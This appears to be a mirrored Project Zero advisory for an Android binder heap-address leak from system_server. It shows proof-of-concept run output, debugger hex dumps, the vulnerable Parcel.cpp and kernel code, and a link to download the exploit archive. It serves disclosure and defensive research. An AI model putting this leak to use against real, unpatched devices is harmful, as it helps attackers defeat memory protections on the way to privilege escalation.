1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 |
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=889 The interaction between the kernel /dev/binder and the usermode Parcel.cpp mean that when a binder object is passed as BINDER_TYPE_BINDER or BINDER_TYPE_WEAK_BINDER, a pointer to that object (in the server process) is leaked to the client process as the cookie value. This leads to a leak of a heap address in many of the privileged binder services, including system_server. See attached PoC, which leaks the addresses of allocated heap objects in system_server. Output running from the shell (run on droidfood userdebug build, MTC19X): shell@bullhead:/ $ /data/local/tmp/binder_info_leak --- binder info leak --- [0] opening /dev/binder [0] looking up activity 0000: 00 . 01 . 00 . 00 . 1a . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 . 0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 6f o 00 . 73 s 00 . 2e . 00 . 49 I 00 . 0032: 53 S 00 . 65 e 00 . 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 4d M 00 . 0048: 61 a 00 . 6e n 00 . 61 a 00 . 67 g 00 . 65 e 00 . 72 r 00 . 00 . 00 . 00 . 00 . 0064: 08 . 00 . 00 . 00 . 61 a 00 . 63 c 00 . 74 t 00 . 69 i 00 . 76 v 00 . 69 i 00 . 0080: 74 t 00 . 79 y 00 . 00 . 00 . 00 . 00 . BR_NOOP: BR_TRANSACTION_COMPLETE: BR_REPLY: target 0000000000000000cookie 0000000000000000code 00000000flags 00000000 pid0uid 1000data 24offs 8 0000: 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 01 . 00 . 00 . 00 . 55 U 00 . 00 . 00 . 0016: 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . - type 73682a85flags 0000017fptr 0000005500000001cookie 0000000000000000 [0] got handle 00000001 0000: 00 . 01 . 00 . 00 . 1c . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 . 0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 61 a 00 . 70 p 00 . 70 p 00 . 2e . 00 . 0032: 49 I 00 . 41 A 00 . 63 c 00 . 74 t 00 . 69 i 00 . 76 v 00 . 69 i 00 . 74 t 00 . 0048: 79 y 00 . 4d M 00 . 61 a 00 . 6e n 00 . 61 a 00 . 67 g 00 . 65 e 00 . 72 r 00 . 0064: 00 . 00 . 00 . 00 . 05 . 00 . 00 . 00 . 70 p 00 . 77 w 00 . 6e n 00 . 65 e 00 . 0080: 64 d 00 . 00 . 00 . BR_NOOP: BR_TRANSACTION_COMPLETE: BR_REPLY: target 0000000000000000cookie 0000000000000000code 00000000flags 00000000 pid0uid 1000data 28offs 8 0000: 00 . 00 . 00 . 00 . 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 02 . 00 . 00 . 00 . 0016: 7f . 00 . 00 . 00 . c0 . 19 . 9d . 8b . 7f . 00 . 00 . 00 . - type 73682a85flags 0000017fptr 0000007f00000002cookie 0000007f8b9d19c0 [0] got handle 00000000 Debugger output from system_server pwndbg> hexdump 0x0000007f8b9d19c0 +0000 0x7f8b9d19c038 35 76 ab7f 00 00 0000 00 00 0000 00 00 00|85v.|....|....|....| +0010 0x7f8b9d19d065 00 6e 0074 00 5f 0040 d1 0c a87f 00 00 00|e.n.|t._.|@...|....| +0020 0x7f8b9d19e06a 16 20 0000 00 00 0020 ad 81 ab7f 00 00 00|j...|....|....|....| +0030 0x7f8b9d19f0e0 fc 7f 8e7f 00 00 00a0 f2 c7 8a7f 00 00 00|....|....|....|....| +0040 0x7f8b9d1a00 This is pretty obviously the case; the code in Parcel.cpp that flattens binder objects to pass via binder transactions: status_t flatten_binder(const sp<ProcessState>& /*proc*/, const sp<IBinder>& binder, Parcel* out) { flat_binder_object obj; obj.flags = 0x7f | FLAT_BINDER_FLAG_ACCEPTS_FDS; if (binder != NULL) { IBinder *local = binder->localBinder(); if (!local) { BpBinder *proxy = binder->remoteBinder(); if (proxy == NULL) { ALOGE("null proxy"); } const int32_t handle = proxy ? proxy->handle() : 0; obj.type = BINDER_TYPE_HANDLE; obj.binder = 0; /* Don't pass uninitialized stack data to a remote process */ obj.handle = handle; obj.cookie = 0; } else { obj.type = BINDER_TYPE_BINDER; obj.binder = reinterpret_cast<uintptr_t>(local->getWeakRefs()); obj.cookie = reinterpret_cast<uintptr_t>(local); // <--- is a pointer to the object } } else { obj.type = BINDER_TYPE_BINDER; obj.binder = 0; obj.cookie = 0; } return finish_flatten_binder(binder, obj, out); } and the kernel code which processes this to send to the target process modifies the fp->handle entry, overwriting fp->binder, but does not alter fp->cookie, which contains the second pointer. case BINDER_TYPE_BINDER: case BINDER_TYPE_WEAK_BINDER: { struct binder_ref *ref; struct binder_node *node = binder_get_node(proc, fp->binder); if (node == NULL) { node = binder_new_node(proc, fp->binder, fp->cookie); if (node == NULL) { return_error = BR_FAILED_REPLY; goto err_binder_new_node_failed; } node->min_priority = fp->flags & FLAT_BINDER_FLAG_PRIORITY_MASK; node->accept_fds = !!(fp->flags & FLAT_BINDER_FLAG_ACCEPTS_FDS); } if (fp->cookie != node->cookie) { binder_user_error("%d:%d sending u%016llx node %d, cookie mismatch %016llx != %016llx\n", proc->pid, thread->pid, (u64)fp->binder, node->debug_id, (u64)fp->cookie, (u64)node->cookie); goto err_binder_get_ref_for_node_failed; } if (security_binder_transfer_binder(proc->tsk, target_proc->tsk)) { return_error = BR_FAILED_REPLY; goto err_binder_get_ref_for_node_failed; } ref = binder_get_ref_for_node(target_proc, node); if (ref == NULL) { return_error = BR_FAILED_REPLY; goto err_binder_get_ref_for_node_failed; } if (fp->type == BINDER_TYPE_BINDER) fp->type = BINDER_TYPE_HANDLE; else fp->type = BINDER_TYPE_WEAK_HANDLE; fp->handle = ref->desc; binder_inc_ref(ref, fp->type == BINDER_TYPE_HANDLE, &thread->todo); trace_binder_transaction_node_to_ref(t, node, ref); binder_debug(BINDER_DEBUG_TRANSACTION, "node %d u%016llx -> ref %d desc %d\n", node->debug_id, (u64)node->ptr, ref->debug_id, ref->desc); } break; In the case of 64-bit processes, we also leak the high dword of the fp->binder pointer, because a uint32_t is smaller than a binder_uintptr_t. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40515.zip |